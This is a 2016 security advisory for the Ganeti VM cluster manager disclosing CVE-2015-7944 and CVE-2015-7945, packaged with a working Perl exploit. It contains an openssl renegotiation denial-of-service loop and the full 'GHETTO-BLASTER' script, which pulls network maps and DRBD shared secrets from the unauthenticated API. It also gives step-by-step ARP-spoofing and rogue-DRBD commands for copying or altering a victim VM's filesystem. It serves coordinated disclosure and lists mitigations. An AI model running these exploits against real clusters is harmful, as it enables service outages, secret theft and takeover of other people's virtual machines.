1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 |
=begin ## Advisory Information Title: Ganeti Security Advisory (DoS, Unauthenticated Info Leak) Advisory URL: https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt Blog URL: https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html Date published: 2016-01-05 Vendors contacted: Google, MITRE Organization contacted: Riseup Release mode: Released CVE: CVE-2015-7944, CVE-2015-7945 CNNVD: no current CNNVD ## Product Description Ganeti is a virtual machine cluster management tool developed by Google. The solution stack uses either Xen or KVM as the virtualization platform, LVM for disk management, and optionally DRBD for disk replication across physical hosts. ## Vulnerabilities Summary Ganeti has security problems in the default install (with DRBD) and the default configuration due to old libraries and design problem, even if the security level in Ganeti seems to be high. These problems affect every versions until the last released version. The Ganeti API Daemon is open on every interface by default and an attacker can DoS this daemon. It is also possible to abuse this deamon to retrieve information, such as network topology, DRBD secrets... A PoC is provided to automaticaly retrieve sensitive information and a possible scenario, allowing to take over Virtual Machines remotely, is provided (which worked in my lab in certain conditions). ## Details - CVE-2015-7944 - Unauthenticated Remote DoS Ganeti is prone to a SSL DoS with SSL renegociation against the RAPI Daemon: user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.105.1.200:5080 CONNECTED(00000003) depth=0 CN = ganeti.example.com verify error:num=18:self signed certificate verify return:1 depth=0 CN = ganeti.example.com verify return:1 - --- Certificate chain 0 s:/CN=ganeti.example.com i:/CN=ganeti.example.com - --- Server certificate - -----BEGIN CERTIFICATE----- [...] - -----END CERTIFICATE----- subject=/CN=ganeti.example.com issuer=/CN=ganeti.example.com - --- No client certificate CA names sent - --- SSL handshake has read 1003 bytes and written 625 bytes - --- New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384 Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol: TLSv1.2 Cipher: AES256-GCM-SHA384 Session-ID: D75BCF369143CD008D693B022B967149AF0BD420DE385C51227A1921CD29360D Session-ID-ctx: Master-Key: 7DDD57FD479AE6555D1D42CF2B15B8857C28430189EC5C1331C75C4253E4A9F0FC0672EE2F2438CD055328C5A46C4F5F Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 300 (seconds) TLS session ticket: 0000 - 10 ad 69 39 76 6c 2e 37-cf e7 c2 2c 5f f0 e0 20 ..i9vl.7...,_.. 0010 - 5d 85 5a 79 82 20 6a 1d-f1 6e 51 f5 f2 f7 c6 cf ].Zy. j..nQ..... 0020 - c1 85 2d 42 5a 1c 53 b4-cb db de 65 04 2a 02 da ..-BZ.S....e.*.. 0030 - 5c 7d 82 ef 56 4a a4 a1-88 bd 87 fd af 25 e3 2e \}..VJ.......%.. 0040 - 28 68 04 a4 01 22 88 72-30 0b 79 1c 75 61 88 d5 (h...".r0.y.ua.. 0050 - c9 f3 e2 0b 02 50 bf c8-29 ac d9 36 f3 76 bd 8b .....P..)..6.v.. 0060 - 05 e0 d3 a9 f3 8b 8b 11-ef 19 2f 94 92 30 94 58 ........../..0.X 0070 - aa 64 ba 3f a4 fc 15 4b-74 11 3b c3 c7 e7 d4 33 .d.?...Kt.;....3 0080 - dd 76 e9 e1 1b 3a 95 c4-50 28 4f 9e bc cc cb f3 .v...:..P(O..... 0090 - bf 4d 60 92 64 00 af 67-c0 e9 69 e3 98 54 21 dc .M<code>.d..g..i..T!. Start Time: 1438121399 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) - --- RENEGOTIATING depth=0 CN = ganeti.example.com verify error:num=18:self signed certificate verify return:1 depth=0 CN = ganeti.example.com verify return:1 RENEGOTIATING depth=0 CN = ganeti.example.com verify error:num=18:self signed certificate verify return:1 depth=0 CN = ganeti.example.com verify return:1 RENEGOTIATING depth=0 CN = ganeti.example.com verify error:num=18:self signed certificate verify return:1 depth=0 CN = ganeti.example.com verify return:1 RENEGOTIATING [...] - From my test, 1 thread takes 75% of CPU. </code>top<code> on the main server (10.105.1.200): 19734 gnt-rapi20 014898035364 4696 R76.83.7 0:04.12 ganeti-rapi Multiple threads will eat all the available CPUs and will likely DoS ganeti: 21280 gnt-rapi20 014898035364 4696 R35.33.7 0:05.06 ganeti-rapi 20968 gnt-rapi20 014898035364 4696 R33.43.7 0:09.92 ganeti-rapi 20969 gnt-rapi20 014898035364 4696 R32.43.7 0:09.95 ganeti-rapi 21282 gnt-rapi20 014898035364 4696 R32.43.7 0:04.53 ganeti-rapi 21281 gnt-rapi20 014898035364 4696 R31.43.7 0:04.78 ganeti-rapi An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/ ## Details - CVE-2015-7945 - Unauthenticated Remote Information Disclosure This vulnerability allows an attacker to retrieve data using information disclosure, allowing him, depending on the configuration, to remotely hack VMs. A PoC (GHETTO-BLASTER which works in Linux (Debian, Kali) and FreeBSD) is provided as a base64-encoded file to this email. This PoC is also available here: https://pierrekim.github.io/advisories/GHETTO-BLASTER. I. Design Security Problem with the RAPI Daemon In the Ganeti master node, when using /usr/sbin/gnt-network, a non-root user can't get information (debian-01 is the ganeti master node): user@debian-01:~$ /usr/sbin/gnt-network list It seems you don't have permissions to connect to the master daemon. Please retry as a different user. user@debian-01:~$ This is common for all gnt-tools and seems to be a security design. It appears Genati by default is too open when using the RAPI daemon and this daemon listens on every interface by default. For example, the network configuration can be extracted from jobs using the RAPI daemon without authentication. I wrote a tool, "GHETTO-BLASTER", to industrialize the process: user@kali:~$ ./GHETTO-BLASTER http://<ip_of_ganeti_rapi> Example: https://<ip> 2015 Pierre Kim <pierre.kim.sec@gmail.com> @PierreKimSec https://pierrekim.github.io DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE <http://www.wtfpl.net/txt/copying/> user@kali:~$ ./GHETTO-BLASTER http://10.105.1.200 [...] [a lot of output] [...] user@kali:~$ ls -l 2-networks2-networks-test-priv 2-networks-test-pub -rw-r--r-- 1 user user 228 Jun 20 13:37 2-networks -rw-r--r-- 1 user user 882 Jun 20 13:37 2-networks-test-priv -rw-r--r-- 1 user user 881 Jun 20 13:37 2-networks-test-pub user@kali:~$ cat 2-networks2-networks-test-priv 2-networks-test-pub $VAR1 = [ { 'name' => 'test-priv', 'uri' => '/2/networks/test-priv' }, { 'uri' => '/2/networks/test-pub', 'name' => 'test-pub' } ]; $VAR1 = { 'mtime' => '1333027652.67126', 'gateway' => undef, 'network6' => undef, 'inst_list' => [], 'mac_prefix' => undef, 'serial_no' => 1, 'free_count' => 254, 'name' => 'test-priv', 'map' => 'X..............................................................................................................................................................................................................................................................X', 'gateway6' => undef, 'external_reservations' => '192.168.1.0, 192.168.1.255', 'uuid' => '506ad97b-2276-43f4-ae27-e6bbb97f28ff', 'ctime' => '1333027652.67126', 'reserved_count' => 2, 'network' => '192.168.1.0/24', 'group_list' => [], 'tags' => [] }; $VAR1 = { 'mac_prefix' => undef, 'inst_list' => [], 'network6' => undef, 'mtime' => '1333027641.64375', 'gateway' => undef, 'map' => 'X..............................................................................................................................................................................................................................................................X', 'free_count' => 254, 'name' => 'test-pub', 'serial_no' => 1, 'reserved_count' => 2, 'network' => '192.168.0.0/24', 'ctime' => '1333027641.64375', 'gateway6' => undef, 'uuid' => '48b34199-2d23-46f0-b4aa-2539cb4a7780', 'external_reservations' => '192.168.0.0, 192.168.0.255', 'group_list' => [], 'tags' => [] }; user@kali:~$ It's possible to map the network and to retrieve sensible secrets. Other interesting information: osparams_secret is readable in jobs using the access to RAPI. II. Using this information disclosure to hack VMs: By default, /var/lib/ganeti/config.data(640, gnt-masterd:gnt-confd) contains the secret key for DRBD replication. A remote user or even a local non-root (or non gnt-masterd user) can't get the configuration of DRBD. This key can be extracted from jobs by abusing the RAPI daemon without authentication. After running GHETTO-BLASTER, you will have a lot of files: user@kali:~$ ls 1-list-collectors2-jobs-1212-jobs-154 2-jobs-1872-jobs-2192-jobs-2512-jobs-2842-jobs-472-jobs-8 1-report-all 2-jobs-1222-jobs-155 2-jobs-1882-jobs-22 2-jobs-2522-jobs-2852-jobs-482-jobs-80 2-features 2-jobs-1232-jobs-156 2-jobs-1892-jobs-2202-jobs-2532-jobs-2862-jobs-492-jobs-81 2-info 2-jobs-1242-jobs-157 2-jobs-19 2-jobs-2212-jobs-2542-jobs-2872-jobs-5 2-jobs-82 2-instances2-jobs-1252-jobs-158 2-jobs-1902-jobs-2222-jobs-2552-jobs-2882-jobs-502-jobs-83 2-instances-vm-012-jobs-1262-jobs-159 2-jobs-1912-jobs-2232-jobs-2562-jobs-2892-jobs-512-jobs-84 2-instances-vm-01-info-jobs2-jobs-1272-jobs-16 2-jobs-1922-jobs-2242-jobs-2572-jobs-29 2-jobs-522-jobs-85 2-instances-vm-02.example.com2-jobs-1282-jobs-160 2-jobs-1932-jobs-2252-jobs-2582-jobs-2902-jobs-532-jobs-86 2-instances-vm-02.example.com-info-jobs2-jobs-1292-jobs-161 2-jobs-1942-jobs-2262-jobs-2592-jobs-2912-jobs-542-jobs-87 2-jobs 2-jobs-13 2-jobs-162 2-jobs-1952-jobs-2272-jobs-26 2-jobs-2922-jobs-552-jobs-88 2-jobs-0 2-jobs-1302-jobs-163 2-jobs-1962-jobs-2282-jobs-2602-jobs-2932-jobs-562-jobs-89 2-jobs-1 2-jobs-1312-jobs-164 2-jobs-1972-jobs-2292-jobs-2612-jobs-2942-jobs-572-jobs-9 2-jobs-102-jobs-1322-jobs-165 2-jobs-1982-jobs-23 2-jobs-2622-jobs-2952-jobs-582-jobs-90 2-jobs-100 2-jobs-1332-jobs-166 2-jobs-1992-jobs-2302-jobs-2632-jobs-2962-jobs-592-jobs-91 2-jobs-101 2-jobs-1342-jobs-167 2-jobs-22-jobs-2312-jobs-2642-jobs-2972-jobs-6 2-jobs-92 2-jobs-102 2-jobs-1352-jobs-168 2-jobs-20 2-jobs-2322-jobs-2652-jobs-2982-jobs-602-jobs-93 2-jobs-103 2-jobs-1362-jobs-169 2-jobs-2002-jobs-2332-jobs-2662-jobs-2992-jobs-612-jobs-94 2-jobs-104 2-jobs-1372-jobs-17 2-jobs-2012-jobs-2342-jobs-2672-jobs-32-jobs-622-jobs-95 2-jobs-105 2-jobs-1382-jobs-170 2-jobs-2022-jobs-2352-jobs-2682-jobs-30 2-jobs-632-jobs-96 2-jobs-106 2-jobs-1392-jobs-171 2-jobs-2032-jobs-2362-jobs-2692-jobs-31 2-jobs-642-jobs-97 2-jobs-107 2-jobs-14 2-jobs-172 2-jobs-2042-jobs-2372-jobs-27 2-jobs-32 2-jobs-652-jobs-98 2-jobs-108 2-jobs-1402-jobs-173 2-jobs-2052-jobs-2382-jobs-2702-jobs-33 2-jobs-662-jobs-99 2-jobs-109 2-jobs-1412-jobs-174 2-jobs-2062-jobs-2392-jobs-2712-jobs-34 2-jobs-672-networks 2-jobs-112-jobs-1422-jobs-175 2-jobs-2072-jobs-24 2-jobs-2722-jobs-35 2-jobs-682-nodes 2-jobs-110 2-jobs-1432-jobs-176 2-jobs-2082-jobs-2402-jobs-2732-jobs-36 2-jobs-69 2-nodes-debian-01 2-jobs-111 2-jobs-1442-jobs-177 2-jobs-2092-jobs-2412-jobs-2742-jobs-37 2-jobs-7 2-nodes-debian-01-role 2-jobs-112 2-jobs-1452-jobs-178 2-jobs-21 2-jobs-2422-jobs-2752-jobs-38 2-jobs-70 2-nodes-debian-02 2-jobs-113 2-jobs-1462-jobs-179 2-jobs-2102-jobs-2432-jobs-2762-jobs-39 2-jobs-71 2-nodes-debian-02-role 2-jobs-114 2-jobs-1472-jobs-18 2-jobs-2112-jobs-2442-jobs-2772-jobs-42-jobs-722-os 2-jobs-115 2-jobs-1482-jobs-180 2-jobs-2122-jobs-2452-jobs-2782-jobs-40 2-jobs-73version 2-jobs-116 2-jobs-1492-jobs-181 2-jobs-2132-jobs-2462-jobs-2792-jobs-41 2-jobs-74 2-jobs-117 2-jobs-15 2-jobs-182 2-jobs-2142-jobs-2472-jobs-28 2-jobs-42 2-jobs-75 2-jobs-118 2-jobs-1502-jobs-183 2-jobs-2152-jobs-2482-jobs-2802-jobs-43 2-jobs-76 2-jobs-119 2-jobs-1512-jobs-184 2-jobs-2162-jobs-2492-jobs-2812-jobs-44 2-jobs-77 2-jobs-122-jobs-1522-jobs-185 2-jobs-2172-jobs-25 2-jobs-2822-jobs-45 2-jobs-78 2-jobs-120 2-jobs-1532-jobs-186 2-jobs-2182-jobs-2502-jobs-2832-jobs-46 2-jobs-79 Files contain DRBD secrets: user@kali:~$ grep secret *|tail -n 5 2-jobs-80: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06' 2-jobs-82: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06' 2-jobs-84: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06', 2-jobs-85: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06', 2-jobs-86: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06', user@kali:~$ The key is confirmed by using </code>drbdsetup show` as root in the Ganeti master node: root@debian-01:~# drbdsetup show resource resource0 { options { } net { cram-hmac-alg "md5"; shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06"; after-sb-0pri discard-zero-changes; after-sb-1pri consensus; } _remote_host { address ipv4 10.105.1.201:11000; } _this_host { address ipv4 10.105.1.200:11000; volume 0 { deviceminor 0; disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data"; meta-disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta"; disk { size8388608s; # bytes resync-rate 61440k; # bytes/second } } } } root@debian-01:~# By digging more, one of the jobs file (2-jobs-280) contains the DRDB configuration: [...] 'drbd_info' => { 'port' => 11000, 'primary_minor' => 0, 'secondary_node' => 'debian-02', 'secondary_minor' => 0, 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06', 'primary_node' => 'debian-01' }, [...] As stated in http://docs.ganeti.org/ganeti/current/html/security.html: DRBD connections are protected from erroneous connections to other machines (as may happen due to software issues), and from accepting connections from other machines, by using a shared secret, exchanged via RPC requests from the master to the nodes when configuring the device. We recovered the secret of DRBD, the port used and the nodes without authentication. Other files contain the LVM VG and the LVM LG names! It's enough to start playing with DRDB from an attacker side. III. DRBD Madness Now, it's time for DRBD Feng Shui! Getting the File System of a VM: o By doing ARP spoofing in the same LAN: We will impersonate 10.105.1.201 by doing ARP poisoning and using a valid drbd.conf thank to the parameters provided by the RAPI daemon: root@kali# cat etc-drbd.conf include "drbd.d/global_common.conf"; include "drbd.d/*.res"; resource resource0 { volume 0 { device minor 0; disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data"; meta-disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta"; } protocol C; net { cram-hmac-alg "md5"; shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06"; after-sb-0pri discard-zero-changes; after-sb-1pri consensus; } on target { address10.105.1.200:11000; } on kali { address10.105.1.201:11000; } } root@kali# vgremove xenvg-vg 2>/dev/null root@kali# dd if=/dev/zero of=/dev/sdb bs=1024 count=1024 root@kali# pvcreate /dev/sdb root@kali# vgcreate xenvg-vg /dev/sdb root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data --size 4G xenvg-vg root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta --size 128M xenvg-vg root@kali# cp etc-drbd.conf /etc/drbd.conf root@kali# drbdadm create-md resource0 root@kali# drbdadm up resource0 <ARP poisoning> || root@kali# ifconfig eth0 10.105.1.201 netmask 255.255.255.0 root@kali# drbdadm attach resource0 root@kali# drbdadm connect resource0 root@kali# cat /proc/drbd version: 8.4.3 (api:1/proto:86-101) srcversion: 1A9F77B1CA5FF92235C2213 0: cs:SyncTarget ro:Secondary/Primary ds:Inconsistent/UpToDate C r----- ns:0 nr:916568 dw:916472 dr:0 al:0 bm:55 lo:2 pe:0 ua:2 ap:0 ep:1 wo:f oos:3277832 [===>................] sync'ed: 22.0% (3277832/4194304)K finish: 0:08:33 speed: 6,368 (5,912) want: 4,520 K/sec root@kali# echo "wow synchronisation in progress !" wow synchronisation in progress ! root@kali# After 10min of synchronisation, an attacker will have a perfect copy of the targeted VM File System using DRDB replication. It's also possible to write information in the File System (like adding SSH keys). Rooting VMs by adding ssh keys and by doing s/PermitRootLogin No/PermitRootLogin Yes/ is left as a exercise to the reader. o Other methods of MiTM exist and are left as a exercise for the reader. ## Proposed Workarounds by the Security Researcher At first, I think these steps must be done to improve the security of ganeti: 1/ Forcing the RAPI to listen to 127.0.0.1 instead of 0.0.0.0. This can be done by adding by default to /etc/default/ganeti: RAPI_ARGS="-b 127.0.0.1" Listening to 127.0.0.1 for ganeti-mond is a good step too (it listens to 0.0.0.0:1815/tcp) 2/ Adding an authentication by default for the RAPI daemon (not only for writing access but for reading access too) 3/ Filtering the output of the jobs to avoid leaking secrets. Note that the immediate step is to change the secrets used for DRBD and to be sure nobody had access to the DRBD blocks, allowing a compromise of all the VMs. 4/ Disabling SSL renegociation and updating the default ciphers. A personal note: as deploying a working Ganeti platform is very complicated, attackers will likely giving up before having a working Ganeti platform to study :) ## Vendor Response Update to the latest version of Ganeti. Read details about mitigation measures here: https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg ## Report Timeline * Jul 30, 2015 : Pierre Kim sends an email to security@ganeti.org asking for a GPG key, email bounced * Jul 30, 2015 : Pierre Kim asks Google Security Team if Ganeti is elligible to the Google Vulnerability Reward Program * Jul 30, 2015 : Pierre Kim sends an email to Ganeti Team for a working security contact * Jul 30, 2015 : Guido Trotter replies by saying to use opensource-ganeti@google.com * Aug 1, 2015: Security@google.com confirms it's out of scope * Aug 4, 2015: Pierre Kim says the exploits are critical and Ganeti is widely used by Google * Aug 11, 2015: Advisories and PoC sent to Google Security Team and Pierre Kim asks Google Security Team to contact Riseup, as they are using Ganeti * Aug 12, 2015: Google Security Team transmitted the information to Ganeti Team * Aug 20, 2015: Google Security Team is working on the scope and the impact of the report * Aug 27, 2015: Google Security Team decided is not within scope of the VRP program but a research grant is awarded as "Security improvement efficacy research" * Aug 28, 2015: Pierre Kims provides information about DRBDv8, DRBDv9. Pierre Kim asks information about the DoS, the condition for the rewards and asks if Riseup was contacted * Sep 10, 2015: Google Security Team confirms they will not contact Riseup and that they ask "that you act and communicate in good faith, use your own best judgement, and we'll do everything we can to work with you to resolve vulnerabilities in a reasonable timeframe" * Oct 6, 2015: Pierre Kim asks for update about the security patchs and informs he will contact Riseup * Oct 6, 2015: Riseup is contacted * Oct 16, 2015: Google Security Team confirm releases end of October and asks about CVEs from MITRE. The Ganeti Bug #1135 is created * Oct 17, 2015: Pierre Kim asks Google to ask MITRE CVE assignments and proposes to contact CNNVD to get a CNNVD entry * Oct 17, 2015: Google Security Team contacted MITRE to get CVEs * Oct 23, 2015: Google Security Team has 2 CVE: CVE-2015-7944 and CVE-2015-7945 * Nov 3, 2015: Pierre Kim informs new security with a DoS with the jobs creation * Nov 5, 2015: Ganeti Team has rate-limit to 20 concurrent jobs creation, which limit the problems and declares the patch will be very soon * Nov 17, 2015: Ganeti Team announces new releases next week * Nov 23, 2015: a pre-advisory is sent to Ganeti Team and Google Security Team * Dec 30, 2015: Ganeti Team releases a security advisory * Jan 05, 2015: A public advisory is sent to security mailing lists ## Credit These vulnerabilities were found by Pierre Kim (@PierreKimSec). ## Greetings Big thanks to my friends Alexandre Torres, Jordan, Jerome and Stephen. Thanks to Google Security Team which coordinated the issues by contacting MITRE and the different parties. ## References https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html http://www.ocert.org/advisories/ocert-2015-012.html https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg ## PoC - GHETTO-BLASTER =end #!/usr/bin/perl -w use LWP::UserAgent; use JSON; use Data::Dumper; use strict; use warnings; my $i_want_readable_json = 1; if (!(defined($ARGV[0]))) { print "$0 http://<ip_of_ganeti_rapi>\n\n"; print "Example:\n"; print "https://<ip>\n"; } else { print "GHETTO-BLASTER - a Ganeti data agregation tool\n"; } print "\n"; print "2015 Pierre Kim <pierre.kim.sec\@gmail.com>\n"; print " \@PierreKimSec https://pierrekim.github.io/\n"; print "DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE <http://www.wtfpl.net/txt/copying/>\n\n"; exit (1) if (!(defined($ARGV[0]))); my $base_url= $ARGV[0]; my $default_rapi_port = 5080; my $default_mond_port = 1815; my %basic_cmds = ( "info" => { "url" => "/2/info", "output_file" => "2-info","is_json" => 1 }, "version" =>{ "url" => "/version","output_file" => "version", "is_json" => 0 }, "features" => { "url" => "/2/features", "output_file" => "2-features","is_json" => 1 }, "os" => { "url" => "/2/os", "output_file" => "2-os","is_json" => 0 } ); $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0; # FIXME: # /2/filters # /2/filters?bulk=1 # /2/groups/tags # /2/instances/[instance_name]/tags # /2/nodes/tags # /2/tags # /2/networks/[network_name]/tags # # TO TEST: # /2/groups/[group_name] # /2/networks/[network_name] &main(); sub main() { &greetings("You are being visited by GHETTO-BLASTER a Ganeti data agregation tool"); for my $cmd (keys %basic_cmds) { my $res = &get_target($base_url . ":" . $default_rapi_port . $basic_cmds{$cmd}->{"url"}); &save_data_leak($res, $basic_cmds{$cmd}->{"output_file"}, $basic_cmds{$cmd}->{"is_json"}); } &parse_instances(); &parse_networks(); &parse_groups(); &parse_nodes(); &parse_mond(); &parse_jobs(); &greetings("Thank you for using Ganeti and have a nice day!"); } sub greetings() { my $msg = $_[0]; $msg =~ s/ /_/g; print "Sending Banner to the remote API Daemon: $msg\n"; my $res = &get_target($base_url . ":" . $default_rapi_port . "/" . $msg, 1); } sub parse_mond() { my $res; my $base_url_http = $base_url; $base_url_http =~ s/https/http/; $res = &get_target($base_url_http . ":" . $default_mond_port . "/1/list/collectors"); &save_data_leak($res, "1-list-collectors", 0); $res = &get_target($base_url_http . ":" . $default_mond_port . "/1/report/all"); &save_data_leak($res, "1-report-all", 0); } sub parse_instances() { my $res = &get_target($base_url . ":" . $default_rapi_port . "/2/instances"); my $decoded_json = JSON::decode_json($res); &save_data_leak($res, "2-instances", 1); foreach my $data (@{$decoded_json}) { $res = &get_target($base_url . ":" . $default_rapi_port . $data->{'uri'}); &save_data_leak($res, "2-instances-$data->{'id'}", 1, $data->{'id'}); $res = &get_target($base_url . ":" . $default_rapi_port . $data->{'uri'} . "/info"); print "Sleep (10) because job is in progress ...\n"; sleep 10; # we need to sleep(10) when asking the instances/info due to the creation of a job $res = &get_target($base_url . ":" . $default_rapi_port . "/2/jobs/" . $res); &save_data_leak($res, "2-instances-$data->{'id'}-info-jobs", 1, "2/instances/$data->{'id'}/info-jobs"); } } sub parse_networks() { my $res = &get_target($base_url . ":" . $default_rapi_port . "/2/networks"); my $decoded_json = JSON::decode_json($res); &save_data_leak($res, "2-networks", 1); foreach my $data (@{$decoded_json}) { $res = &get_target($base_url . ":" . $default_rapi_port . $data->{'uri'}); &save_data_leak($res, "2-networks-$data->{'name'}", 1, $data->{'uri'}); } } sub parse_groups() { my $res = &get_target($base_url . ":" . $default_rapi_port . "/2/groups"); my $decoded_json = JSON::decode_json($res); &save_data_leak($res, "2-groups", 1); foreach my $data (@{$decoded_json}) { $res = &get_target($base_url . ":" . $default_rapi_port . $data->{'uri'}); &save_data_leak($res, "2-groups-$data->{'name'}", 1, $data->{'uri'}); } } sub parse_nodes() { my $res = &get_target($base_url . ":" . $default_rapi_port . "/2/nodes"); my $decoded_json = JSON::decode_json($res); &save_data_leak($res, "2-nodes", 1); foreach my $data (@{$decoded_json}) { $res = &get_target($base_url . ":" . $default_rapi_port . $data->{'uri'}); &save_data_leak($res, "2-nodes-$data->{'id'}", 1, $data->{'id'}); $res = &get_target($base_url . ":" . $default_rapi_port . $data->{'uri'} . "/role"); &save_data_leak($res, "2-nodes-$data->{'id'}-role", 0, "nodes/$data->{'id'}-role"); } } sub parse_jobs() { my $total_jobs = 0; my $res = &get_target($base_url . ":" . $default_rapi_port . "/2/jobs"); my $decoded_json = JSON::decode_json($res); &save_data_leak($res, "2-jobs", 1); foreach my $data (@{$decoded_json}) { $total_jobs = $data->{'id'} if ($data->{'id'} > $total_jobs); } for my $i (0 .. $total_jobs) { $res = &get_target($base_url . ":" . $default_rapi_port . "/2/jobs/" . $i); &save_data_leak($res, "2-jobs-$i", 1); } } sub save_data_leak() { my $input = $_[0]; my $output_file = $_[1]; my $is_json = $_[2]; my $stdout = $_[3] || $output_file; my $json; print "Parsing $stdout ... saving to $output_file\n"; $input = Dumper(JSON::decode_json($input)) if ($i_want_readable_json && $is_json); open (FILE, ">", "$output_file"); print FILE ($input); close (FILE); } sub get_target() { my $target = $_[0]; my $error_ok = $_[1]; my ($ua, $res, $req); $ua = LWP::UserAgent->new( ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 } ); $ua->agent("Ganeti/2.12"); $ua->env_proxy; $ua->timeout(10); $req = new HTTP::Request GET => $target; $res = $ua->request($req); print "Error when requesting $target\n" if (!$res->is_success && !$error_ok); return ($res->content); } =begin ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -- Pierre Kim pierre.kim.sec@gmail.com @PierreKimSec =end |